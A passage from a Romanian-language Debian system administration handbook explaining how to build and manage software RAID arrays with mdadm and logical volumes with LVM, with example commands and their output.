REȚINEȚI Fișierul /proc/mdstat listează volumele existente și stările lor. Când creați un nou volum RAID, trebuie să
Identificarea volumelor RAID aveți grijă să nu-l numiți la fel ca pe un volum existent.
existente

Vom folosi aceste elemente fizice pentru a construi două volume, unul RAID-0 și unul oglindă (RAID-1). Să
începem cu volumul RAID-0:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
# mdadm --query /dev/md0
/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Tue Jun 25 08:47:49 2019
Raid Level : raid0
Array Size : 8378368 (7.99 GiB 8.58 GB)
Raid Devices : 2
Total Devices : 2

256
 Persistence : Superblock is persistent

Update Time : Tue Jun 25 08:47:49 2019

State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0

Chunk Size : 512K

Consistency Policy : none

Name : mirwiz:0 (local to host debian)

UUID : 146e104f:66ccc06d:71c262d7:9af1fbc7
Events : 0

Number Major Minor RaidDevice State

0 8 32 0 active sync /dev/sdb
1 8 48 1 active sync /dev/sdc
# mkfs.ext4 /dev/md0
mke2fs 1.44.5 (15-Dec-2018)
Discarding device blocks: done
Creating filesystem with 2094592 4k blocks and 524288 inodes
Filesystem UUID: 413c3dff-ab5e-44e7-ad34-cf1a029cfe98
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done

Writing inode tables: done
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done

# mkdir /srv/raid-0
# mount /dev/md0 /srv/raid-0
# df -h /srv/raid-0
Filesystem Size Used Avail Use% Mounted on
/dev/md0 7.9G 36M 7.4G 1% /srv/raid-0

Comanda mdadm --create necesită mai mulți parametri: numele volumului de creat (/dev/md*, cu MD
pentru Multiple Device), nivelul RAID, numărul de discuri (care este obligatoriu, în ciuda faptului că este în
mare parte semnificativ doar cu RAID-1 și mai sus) și unitățile fizice de utilizat. Odată ce dispozitivul este
creat, îl putem folosi ca și cum am folosi o partiție normală, să creăm un sistem de fișiere pe el, să montăm
acel sistem de fișiere și așa mai departe. Rețineți, cum crearea unui volum RAID-0 pe md0 nu este decât o
coincidență, iar numerotarea tabloului nu trebuie corelată cu nivelul ales de redundanță. De asemenea, este
posibil să se creeze tablouri RAID numite, oferind parametrii mdadm, cum ar fi /dev/md/linear în loc de
/dev/md0.
Crearea unui RAID-1 urmează o manieră similară, diferențele fiind observabile abia după creare:
# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device. If you plan to
store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1%
Continue creating array? y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
# mdadm --query /dev/md1
/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md1
/dev/md1:
Version : 1.2
Creation Time : Tue Jun 25 10:21:22 2019
Raid Level : raid1
Array Size : 4189184 (4.00 GiB 4.29 GB)
Used Dev Size : 4189184 (4.00 GiB 4.29 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent

Update Time : Tue Jun 25 10:22:03 2019

257
 State : clean, resyncing
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0

Consistency Policy : resync

Resync Status : 93% complete

Name : mirwiz:1 (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c
Events : 16

Number Major Minor RaidDevice State

0 8 64 0 active sync /dev/sdd2
1 8 80 1 active sync /dev/sde
# mdadm --detail /dev/md1
/dev/md1:
[...]
State : clean
[...]

SFAT După cum ilustrează exemplul nostru, dispozitivele RAID pot fi construite din partiții de disc și nu
RAID, discuri și partiții necesită discuri complete.

Câteva observații de făcut. În primul rând, mdadm observă că elementele fizice au dimensiuni diferite;
deoarece acest lucru implică pierderea de spațiu pe elementul mai mare, este necesară o confirmare.
Mai important, rețineți starea oglinzii. Starea normală a unei oglinzi RAID este aceea că ambele discuri au
exact același conținut. Cu toate acestea, nimic nu garantează că acesta este cazul când volumul este creat
pentru prima dată. Prin urmare, subsistemul RAID va oferi această garanție în sine și va exista o fază de
sincronizare imediat ce este creat dispozitivul RAID. După ceva timp (cantitatea exactă va depinde de
dimensiunea reală a discurilor...), tabloul RAID trece la starea “activ” sau “curat”. Rețineți că în această fază
de reconstrucție, oglinda este într-un mod degradat, iar redundanța nu este asigurată. Un disc care nu
reușește în acea fereastră de risc ar putea duce la pierderea tuturor datelor. Totuși, cantități mari de date
critice sunt rareori stocate pe un tablou RAID proaspăt creat înainte de sincronizarea sa inițială. Rețineți că
și chiar în modul degradat, /dev/md1 este utilizabil și se poate crea un sistem de fișiere pe acesta, precum
și unele date copiate pe acesta.

SFAT Uneori, două discuri nu sunt disponibile imediat atunci când doriți să porniți o oglindă RAID-1, de exemplu,
Pornirea unei oglinzi în modul deoarece unul dintre discurile pe care intenționează să le includă este deja folosit pentru a stoca datele pe care
degradat doriți să le mutați în tablou. În astfel de circumstanțe, este posibil să se creeze în mod deliberat un tablou RAID-
1 degradat, trecând missing în loc de fișierul dispozitivului ca unul dintre argumentele pentru mdadm. Odată
ce datele au fost copiate în “oglindă”, discul vechi poate fi adăugat la tablou. O sincronizare va avea loc apoi,
oferindu-ne redundanța dorită în primul rând.

SFAT Volumele RAID-1 sunt adesea create pentru a fi utilizate ca un disc nou, deseori considerate necompletate. Prin
Configurarea unei oglinzi fără urmare, conținutul inițial al discului nu este foarte relevant, deoarece trebuie doar să știm că datele sunt scrise
sincronizare după crearea volumului, în special a sistemului de fișiere, care pot fi accesate ulterior.
Prin urmare, s-ar putea să ne întrebăm despre punctul de sincronizare al ambelor discuri în momentul creării. De
ce ne pasă de conținutul identic pe zonele volumului pe care le știm, vor fi citite numai după ce le-am scris?
Din fericire, această fază de sincronizare poate fi evitată trecând opțiunea --assume-clean la mdadm. Dar,
această opțiune poate duce la surprize în cazurile în care datele inițiale vor fi citite (de exemplu, dacă un
sistem de fișiere este deja prezent pe discurile fizice), motiv pentru care nu este activat implicit.

Acum să vedem ce se întâmplă când unul dintre elementele tabloului RAID-1 eșuează. mdadm, în special
opțiunea sa --fail, permite simularea unei astfel de defecțiuni de disc:

# mdadm /dev/md1 --fail /dev/sde

mdadm: set /dev/sde faulty in /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Tue Jun 25 11:03:44 2019
State : clean, degraded
Active Devices : 1
Working Devices : 1
Failed Devices : 1

258
 Spare Devices : 0

Consistency Policy : resync

Name : mirwiz:1 (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c
Events : 20

Number Major Minor RaidDevice State

- 0 0 0 removed
1 8 80 1 active sync /dev/sdd2

0 8 64 - faulty /dev/sde

Conținutul volumului este încă accesibil (și, dacă este montat, aplicațiile nu observă nimic), dar siguranța
datelor nu mai este asigurată: dacă discul sdd nu reușește la rândul său, datele ar fi pierdute. Vrem să
evităm riscul, așa că vom înlocui discul eșuat cu unul nou, sdf:

# mdadm /dev/md1 --add /dev/sdf

mdadm: added /dev/sdf
# mdadm --detail /dev/md1
/dev/md1:
[...]
Raid Devices : 2
Total Devices : 3
Persistence : Superblock is persistent

Update Time : Tue Jun 25 11:09:42 2019

State : clean, degraded, recovering
Active Devices : 1
Working Devices : 2
Failed Devices : 1
Spare Devices : 1

Consistency Policy : resync

Rebuild Status : 27% complete

Name : mirwiz:1 (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c
Events : 26

Number Major Minor RaidDevice State

2 8 96 0 spare rebuilding /dev/sdf
1 8 80 1 active sync /dev/sdd2

0 8 64 - faulty /dev/sde
# [...]
[...]
# mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Tue Jun 25 11:10:47 2019
State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 1
Spare Devices : 0

Consistency Policy : resync

Name : mirwiz:1 (local to host debian)

UUID : 7d123734:9677b7d6:72194f7d:9050771c
Events : 39

Number Major Minor RaidDevice State

2 8 96 0 active sync /dev/sdd2
1 8 80 1 active sync /dev/sdf

0 8 64 - faulty /dev/sde

Și din nou, nucleul declanșează automat o fază de reconstrucție în care volumul, deși este încă accesibil, se
află într-un mod degradat. Odată ce reconstrucția s-a încheiat, tabloul RAID va reveni la o stare normală. Se

259
poate spune apoi sistemului că discul sde urmează să fie eliminat din tablou, astfel încât să se termine cu o
oglindă RAID clasică pe două discuri:

# mdadm /dev/md1 --remove /dev/sde

mdadm: hot removed /dev/sde from /dev/md1
# mdadm --detail /dev/md1
/dev/md1:
[...]
Number Major Minor RaidDevice State
2 8 96 0 active sync /dev/sdd2
1 8 80 1 active sync /dev/sdf

De aici unitatea poate fi îndepărtată fizic la următoarea oprire a server-ului, sau chiar eliminată la cald când
configurația hardware permite hot-swap. Astfel de configurații includ unele controlere SCSI, majoritatea
discurilor SATA și unități externe care operează pe USB sau Firewire.

12.1.1.3. Recuperarea configurației

Majoritatea meta-datelor referitoare la volumele RAID sunt salvate direct pe discurile care alcătuiesc aceste
tablouri, astfel încât nucleul poate detecta tablourile și componentele acestora și le poate asambla automat
la pornirea sistemului. Totuși, copierea de siguranță a acestei configurații este încurajată, deoarece detecția
nu este sigură la eșec și se așteaptă doar că aceasta va eșua tocmai în circumstanțe sensibile. În exemplul
nostru, dacă eșecul discului sde a fost real (în loc să fie simulat) și sistemul a fost repornit fără a elimina
acest disc sde, acest disc ar putea începe să funcționeze din nou, din cauza faptului că a fost testat în
timpul repornirii. Nucleul ar avea apoi trei elemente fizice, fiecare pretinzând conținutul a jumătate din același
volum RAID. O altă sursă de confuzie poate apărea atunci când volumele RAID de pe două server-e sunt
consolidate pe un singur server. Dacă aceste tablouri rulau normal înainte ca discurile să fie mutate, nucleul
ar putea detecta și reasambla perechile în mod corespunzător; dar dacă discurile mutate ar fi fost agregate
într-o md1 pe vechiul server, și noul server are deja un md1, unul dintre oglinzi ar fi redenumit.
Prin urmare, copierea de siguranță a configurației este importantă, doar pentru referință. Modul standard de
a face acest lucru este prin editarea fișierului /etc/mdadm/mdadm.conf, al cărui exemplu este enumerat
aici:

Exemplul 12.1 Fișier de configurare mdadm

# mdadm.conf
#
# !NB! Run update-initramfs -u after updating this file.
# !NB! This will ensure that initramfs has an uptodate copy.
#
# Please refer to mdadm.conf(5) for information about this file.
#

# by default (built-in), scan all partitions (/proc/partitions) and all

# containers for MD superblocks. alternatively, specify devices to scan, using
# wildcards if desired.
DEVICE /dev/sd*

# auto-create devices with Debian standard permissions

CREATE owner=root group=disk mode=0660 auto=yes

# automatically tag new arrays as belonging to the local system

HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts

MAILADDR root

# definitions of existing MD arrays

ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

# This configuration was auto-generated on Tue, 25 Jun 2019 07:54:35 -0400 by mkconf

Unul dintre cele mai utile detalii este opțiunea DEVICE, care listează dispozitivele în care sistemul va căuta
automat componente ale volumelor RAID la momentul pornirii. În exemplul nostru, am înlocuit valoarea
implicită, partiții containere, cu o listă explicită de fișiere de dispozitiv, deoarece am ales să folosim discuri
întregi și nu numai partiții, pentru unele volume.

260
Ultimele două rânduri din exemplul nostru sunt cele care permit nucleului să aleagă în siguranță ce număr
de volum să atribuie unui tablou. Metadatele stocate pe discuri sunt suficiente pentru a reasambla volumele,
dar nu pentru a determina numărul volumului (și numele dispozitivului /dev/md* corespunzător).
Din fericire, aceste linii pot fi generate automat:
# mdadm --misc --detail --brief /dev/md?
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=146e104f:66ccc06d:71c262d7:9af1fbc7
ARRAY /dev/md1 metadata=1.2 name=mirwiz:1 UUID=7d123734:9677b7d6:72194f7d:9050771c

Conținutul ultimelor două rânduri nu depinde de lista discurilor incluse în volum. Prin urmare, nu este
necesar să regenerați aceste linii atunci când înlocuiți un disc eșuat cu unul nou. Pe de altă parte, trebuie să
aveți grijă să actualizați fișierul atunci când creați sau ștergeți un tablou RAID.

12.1.2. LVM
Managerul volumului logic (LVM - Logical Volume Manager) este o altă abordare a abstractizării volumelor
logice din suporturile lor fizice, care se concentrează pe creșterea flexibilității, mai degrabă decât pe
creșterea fiabilității. LVM permite schimbarea unui volum logic transparent în ceea ce privește aplicațiile; de
exemplu, este posibil să adăugați noi discuri, să migrați datele la ele și să eliminați discurile vechi, fără a
demonta volumul.

12.1.2.1. Conceptele LVM

Această flexibilitate este atinsă de un nivel de abstractizare care implică trei concepte.
În primul rând, PV (Physical Volume) este entitatea cea mai apropiată de hardware: poate fi partiții pe un disc,
sau pe un disc complet, sau chiar în orice alt dispozitiv de bloc (inclusiv, de exemplu, un RAID array). Rețineți
că, atunci când un element fizic este configurat să fie un PV pentru LVM, acesta trebuie accesat doar prin
LVM, altfel sistemul va fi confuz.
Mai multe PV-uri pot fi grupate într-un VG (Volume Group), care poate fi comparat cu discuri atât virtuale cât
și extensibile. VG-urile sunt abstracte și nu apar într-un fișier de dispozitiv în ierarhia /dev, deci nu există
riscul de a le utiliza direct.
Al treilea tip de obiect este LV (Logical Volume), care este o bucată de VG; dacă păstrăm analogia VG-ca-
disc, LV se compară cu o partiție. LV apare ca un dispozitiv bloc cu o intrare în /dev și poate fi utilizat ca
orice altă partiție fizică, cel mai frecvent, care poate fi ( pentru a găzdui un sistem de fișiere sau un spațiu
swap).
Important este că împărțirea unui VG în LV-uri este în totalitate independentă de componentele sale fizice
(PV-urile). VG cu o singură componentă fizică (de exemplu, un disc) poate fi împărțit într-o duzină de volume
logice; în mod similar, un VG poate utiliza mai multe discuri fizice și poate apărea ca un singur volum logic
mare. Singura constrângere este, evident, că dimensiunea totală alocată LV-urilor nu poate fi mai mare
decât capacitatea totală a PV-urilor din grupul de volume.
Adesea are sens, totuși, să avem un fel de omogenitate între componentele fizice ale unui VG și să
împărțim VG în volume logice care vor avea modele de utilizare similare. De exemplu, dacă hardware-ul
disponibil include discuri rapide și discuri mai lente, cele rapide ar putea fi grupate într-un VG, iar cele mai
lente în altul; bucăți din prima pot fi apoi alocate aplicațiilor care necesită acces rapid la date, în timp ce a
doua va fi păstrată pentru sarcini mai puțin solicitante.
În orice caz, rețineți că un LV nu este atașat în mod special la vreun PV. Este posibil să influențăm locul în
care datele dintr-un LV sunt stocate fizic, dar această posibilitate nu este necesară pentru utilizarea de zi cu
zi. Dimpotrivă: atunci când setul de componente fizice ale unui VG evoluează, locațiile fizice de stocare
corespunzătoare unui anumit LV pot fi migrate pe discuri (rămânând în PV-urile alocate VG, desigur).

12.1.2.2. Configurarea LVM

Să urmărim acum, pas cu pas, procesul de configurare a LVM pentru un caz de utilizare tipic: dorim să
simplificăm o situație de stocare complexă. O astfel de situație se întâmplă, de obicei, după o serie lungă și
întortocheată a măsurilor temporare acumulate. În scopul ilustrării, vom avea în vedere un server în care

261
nevoile de stocare s-au schimbat în timp, ajungând într-un labirint de partiții disponibile împărțite pe mai
multe discuri parțial utilizate. Mai precis, sunt disponibile următoarele partiții:
• pe discul sdb, o Partiție sdb2, 4 GB;
• pe discul sdc, o partiție sdc3, 4 GB;
• discul sdd, 4 GB, este complet disponibil;
• pe discul sdf, o partiție sdf1, 4 GB; și o partiție sdf2, 5 GB.
În plus, să presupunem că discurile sdb și sdf sunt mai rapide decât celelalte două.
Scopul nostru este să creăm trei volume logice pentru trei aplicații diferite: un server de fișiere care necesită
5 GB spațiu de stocare, o bază de date (1 GB) și ceva spațiu pentru backup-uri (12 GB). Primele două au
nevoie de performanțe bune, dar backup-urile sunt mai puțin critice în ceea ce privește viteza de acces. Toate
aceste constrângeri împiedică utilizarea partițiilor pe cont propriu; utilizarea LVM poate rezuma dimensiunea
fizică a dispozitivelor, astfel că singura limită este spațiul total disponibil.
Instrumentele necesare sunt în pachetul lvm2 și în dependențele acestuia. Când sunt instalate, configurarea
LVM face trei pași, corespunzând celor trei niveluri ale conceptelor.
În primul rând, pregătim volumele fizice folosind pvcreate:
# pvcreate /dev/sdb2
Physical volume "/dev/sdb2" successfully created.
# pvdisplay
"/dev/sdb2" is a new physical volume of "4.00 GiB"
--- NEW Physical volume ---
PV Name /dev/sdb2
VG Name
PV Size 4.00 GiB
Allocatable NO
PE Size 0
Total PE 0
Free PE 0
Allocated PE 0
PV UUID z4Clgk-T5a4-C27o-1P0E-lIAF-OeUM-e7EMwq

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created.
Physical volume "/dev/sdd" successfully created.
Physical volume "/dev/sdf1" successfully created.
Physical volume "/dev/sdf2" successfully created.
# pvdisplay -C
PV VG Fmt Attr PSize PFree
/dev/sdb2 lvm2 --- 4.00g 4.00g
/dev/sdc3 lvm2 --- 3.00g 3.00g
/dev/sdd lvm2 --- 4.00g 4.00g
/dev/sdf1 lvm2 --- 4.00g 4.00g
/dev/sdf2 lvm2 --- <5.00g <5.00g

Până acum, toate bune; rețineți că un PV poate fi configurat pe un disc complet, precum și pe partiții
individuale ale acestuia. După cum se arată mai sus, comanda pvdisplay listează PV-urile existente, cu
două formate de ieșire posibile.
Acum, să reunim aceste elemente fizice în VG folosind vgcreate. Vom aduna numai PV-urile de pe
discurile rapide în vg_critical VG; cealaltă VG, vg_normal, va include, de asemenea, elemente mai
lente.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created
# vgdisplay
--- Volume group ---
VG Name vg_critical
System ID
Format lvm2
Metadata Areas 2
Metadata Sequence No 1
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 0
Open LV 0
Max PV 0
Cur PV 2
Act PV 2

262
 VG Size 7.99 GiB
PE Size 4.00 MiB
Total PE 2046
Alloc PE / Size 0 / 0
Free PE / Size 2046 / 7.99 GiB
VG UUID wAbBjx-d82B-q7St-0KFf-z40h-w5Mh-uAXkNZ

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created
# vgdisplay -C
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 0 0 wz--n- 7.99g 7.99g
vg_normal 3 0 0 wz--n- <11.99g <11.99g

Încă o dată, comenzile sunt destul de simple (iar vgdisplay propune două formate de ieșire). Rețineți că
este foarte posibil să utilizați două partiții ale aceluiași disc fizic în două VG-uri diferite. Rețineți, de
asemenea, că am folosit un prefix vg_ pentru a numi VG-urile noastre, dar nu este altceva decât o
convenție.
Avem acum două “discuri virtuale”, de aproximativ 8 GB, respectiv 12 GB. Să le realizăm acum în ”partiții
virtuale” (LV-uri). include comanda lvcreate și o sintaxă ceva mai complexă:

# lvdisplay
# lvcreate -n lv_files -L 5G vg_critical
Logical volume "lv_files" created.
# lvdisplay
--- Logical volume ---
LV Path /dev/vg_critical/lv_files
LV Name lv_files
VG Name vg_critical
LV UUID W6XT08-iBBx-Nrw2-f8F2-r2y4-Ltds-UrKogV
LV Write Access read/write
LV Creation host, time debian, 2019-11-30 22:45:46 -0500
LV Status available
# open 0
LV Size 5.00 GiB
Current LE 1280
Segments 2
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created.
# lvcreate -n lv_backups -L 11.98G vg_normal
Rounding up size to full physical extent 11.98 GiB
Logical volume "lv_backups" created.
# lvdisplay -C
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync
⮩ Convert
lv_base vg_critical -wi-a--- 1.00g
lv_files vg_critical -wi-a--- 5.00g
lv_backups vg_normal -wi-a--- 11.98g

La crearea unor volume logice sunt necesari doi parametri; ele trebuie trecute la lvcreate ca opțiuni.
Numele LV care va fi creat este specificat cu opțiunea -n, iar dimensiunea acestuia este, în general, dată
folosind opțiunea -L. De asemenea, trebuie să spunem comenzii pe ce VG să funcționeze, desigur, de aici
și ultimul parametru din linia de comandă.

263
 ÎN DETALIU Comanda lvcreate are câteva opțiuni care permit reglarea volumelor logice (LV) create.
Opțiunile lvcreate Să descriem mai întâi opțiunea -l, cu care dimensiunea LV poate fi dată ca un număr de blocuri (spre
deosebire de unitățile ”umane” pe care le-am folosit mai sus). Aceste blocuri (numite PE, extensii fizice, în
termeni LVM) sunt unități contigue de spațiu de stocare în PV-uri și nu pot fi împărțite în LV-uri. Când se
dorește definirea spațiului de stocare pentru un LV cu o anumită precizie, de exemplu, pentru a utiliza spațiul
complet disponibil, opțiunea -l va fi probabil preferată față de -L.
De asemenea, este posibil să se sugereze locația fizică a unui VV astfel încât extinderile sale să fie stocate pe
un anumit PV (rămânând în interiorul celor atribuite VG, desigur). Întrucât știm că sdb este mai rapid decât
sdf, este posibil să dorim să stocăm lv_base acolo, dacă dorim să oferim un avantaj server-ului bazei de
date în comparație cu server-ul de fișiere. Linia de comandă devine: lvcreate -n lv_base -L 1G
vg_critical /dev/sdb2. Rețineți că această comandă poate eșua dacă PV nu are suficiente extensii
libere. În exemplul nostru, probabil că va trebui să creăm lv_base înainte de lv_files pentru a evita
această situație – sau pentru a elibera spațiu pe sdb2 cu comanda pvmove.

Volumele logice, odată create, se termină ca fișiere de dispozitiv bloc în /dev/mapper/:

# ls -l /dev/mapper
total 0
crw------- 1 root root 10, 236 Jun 10 16:52 control
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2
# ls -l /dev/dm-*
brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0
brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1
brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2

REȚINEȚI Când computerul pornește, (systemd service unit) unitatea de servicii lvm2-activation a lui systemd
Autodetecția volumelor LVM execută vgchange -aay pentru “activa” grupurile de volum: scanează dispozitivele disponibile; cele care au
fost inițializate ca volume fizice pentru LVM sunt înregistrate în subsistemul LVM, cele care aparțin grupurilor
de volum sunt asamblate, iar volumele logice relevante sunt pornite și puse la dispoziție. Prin urmare, nu este
necesar să editați fișierele de configurare atunci când creați sau modificați volume LVM.
Însă, rețineți că aspectul elementelor LVM (volume fizice și logice, și grupuri de volum) este salvat în
/etc/lvm/backup, ceea ce poate fi util în cazul unei probleme (sau doar pentru a arunca o privire sub
capotă).

Pentru a facilita lucrurile, link-urile simbolice sunt de asemenea create în directoare care se potrivesc cu VG-
urile:

# ls -l /dev/vg_critical
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0
# ls -l /dev/vg_normal
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2

LV-urile pot fi apoi utilizate exact ca partițiile standard:

# mkfs.ext4 /dev/vg_normal/lv_backups
mke2fs 1.44.5 (15-Dec-2018)
Discarding device blocks: done
Creating filesystem with 3140608 4k blocks and 786432 inodes
Filesystem UUID: b9e6ed2f-cb37-43e9-87d8-e77568446225
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocating group tables: done

Writing inode tables: done
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done

# mkdir /srv/backups
# mount /dev/vg_normal/lv_backups /srv/backups
# df -h /srv/backups
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_normal-lv_backups 12G 41M 12G 1% /srv/backups
# [...]
[...]
# cat /etc/fstab
[...]

264
/dev/vg_critical/lv_base /srv/base ext4 defaults 0 2
/dev/vg_critical/lv_files /srv/files ext4 defaults 0 2
/dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

Din punct de vedere al aplicațiilor, numeroasele partiții mici au fost acum abstractizate într-un volum mare de
12 GB, cu un nume mai prietenos.

12.1.2.3. LVM în timp

Chiar dacă abilitatea de agregare a partițiilor sau a discurilor fizice este convenabilă, acesta nu
este principalul avantaj adus de LVM. Flexibilitatea pe care o aduce este observată mai ales pe măsură ce
trece timpul când nevoile evoluează. În exemplul nostru, să presupunem că fișierele mari noi trebuie stocate
și că LV-ul dedicat server-ului de fișiere este prea mic pentru a le conține. Întrucât nu am folosit întreg spațiul
disponibil în vg_critical, putem crește lv_files. În acest scop, vom folosi comanda lvresize, apoi
resize2fs pentru a adapta sistemul de fișiere în consecință:

# df -h /srv/files/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files
# lvdisplay -C vg_critical/lv_files
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync
⮩ Convert
lv_files vg_critical -wi-ao-- 5.00g
# vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 2 0 wz--n- 7.99g 1.99g
# lvresize -L 6G vg_critical/lv_files
Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to
⮩ 6.00 GiB (1536 extents).
Logical volume vg_critical/lv_files successfully resized.
# lvdisplay -C vg_critical/lv_files
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync
⮩ Convert
lv_files vg_critical -wi-ao---- 6.00g
# resize2fs /dev/vg_critical/lv_files
resize2fs 1.44.5 (15-Dec-2018)
Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing
⮩ required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long.

# df -h /srv/files/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

PRUDENȚĂ Nu toate sistemele de fișiere pot fi redimensionate online; Redimensionarea unui volum poate, prin urmare, să
Redimensionarea filesystems necesite demontarea sistemului de fișiere mai întâi și remontarea acestuia ulterior. Desigur, dacă se dorește
micșorarea spațiului alocat unui LV, sistemul de fișiere trebuie micșorat mai întâi; ordinea este inversată atunci
când redimensionarea merge în cealaltă direcție: volumul logic trebuie crescut înainte de sistemul de fișiere de
pe acesta. Este destul de simplu, deoarece în niciun moment dimensiunea sistemului de fișiere nu trebuie să fie
mai mare decât dispozitivul de bloc unde se află (indiferent dacă dispozitivul este o partiție fizică sau un volum
logic).
Sistemele de fișiere ext3, ext4 și xfs pot fi dezvoltate online, fără a le demonta; micșorarea necesită o
demontare. Sistemul de fișiere reiserfs permite redimensionarea online în ambele direcții. Venerabila ext2 nu
permite nici una, și necesită întotdeauna demontarea.

Am putea proceda într-un mod similar pentru a extinde volumul care găzduiește baza de date, doar am ajuns
la limita de spațiu disponibilă a VG:

# df -h /srv/base/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_base 976M 882M 28M 97% /srv/base
# vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 2 2 0 wz--n- 7.99g 1016.00m

Nu contează, deoarece LVM permite adăugarea de volume fizice la grupurile de volum existente. De
exemplu, poate am observat că partiția sdb1, până acum folosită în afara LVM, conținea doar arhive care
puteau fi mutate în lv_backups. Acum îl putem recicla și integra în grupul de volume și prin urmare, vom

265
recupera ceva spațiu disponibil. Acesta este scopul comenzii vgextend . Desigur, partiția trebuie pregătită
înainte ca un volum fizic. Odată extinsă VG, putem folosi comenzi similare ca anterior pentru a crește
volumul logic, apoi sistemul de fișiere:

# pvcreate /dev/sdb1
Physical volume "/dev/sdb1" successfully created.
# vgextend vg_critical /dev/sdb1
Volume group "vg_critical" successfully extended
# vgdisplay -C vg_critical
VG #PV #LV #SN Attr VSize VFree
vg_critical 3 2 0 wz--n- <9.99g <1.99g
# [...]
[...]
# df -h /srv/base/
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_base 2.0G 882M 994M 48% /srv/base

ÎN DETALIU De asemenea, LVM se adresează utilizărilor mai avansate, unde multe detalii pot fi specificate manual. De
LVM avansat exemplu, un administrator poate modifica dimensiunea blocurilor care alcătuiesc volume fizice și logice, precum
și aspectul fizic al acestora. De asemenea, este posibil să mutați blocuri peste PV-uri, de exemplu, pentru a ajusta
performanța sau, într-un mod mai banal, pentru a elibera un PV atunci când trebuie să extrageți discul fizic
corespunzător din VG (indiferent dacă îl afectează pe un alt VG sau pentru a-l scoate din LVM cu totul). Paginile
manuale care descriu comenzile sunt în general clare și detaliate. Un bun punct de intrare este pagina de manual
lvm(8).

12.1.3. RAID sau LVM?

Amândouă, RAID și LVM aduc avantaje incontestabile imediat ce lăsăm cazul simplu al unui computer
desktop cu un singur hard disk în care modelul de utilizare nu se schimbă în timp. Cu toate acestea, RAID și
LVM merg în două direcții diferite, cu obiective divergente și este legitim să ne întrebăm care ar trebui să fie
adoptat. Cel mai potrivit răspuns va depinde, desigur, de cerințele actuale și previzibile.
Există câteva cazuri simple în care întrebarea într-adevăr nu se apare. Dacă cerința este de a proteja datele
împotriva defecțiunilor hardware, atunci, în mod evident, RAID va fi configurat pe un tablou redundant de
discuri, deoarece LVM nu abordează cu adevărat această problemă. Pe de altă parte, dacă este nevoie de o
schemă de stocare flexibilă, în care volumele sunt făcute independent de aspectul fizic al discurilor, RAID nu
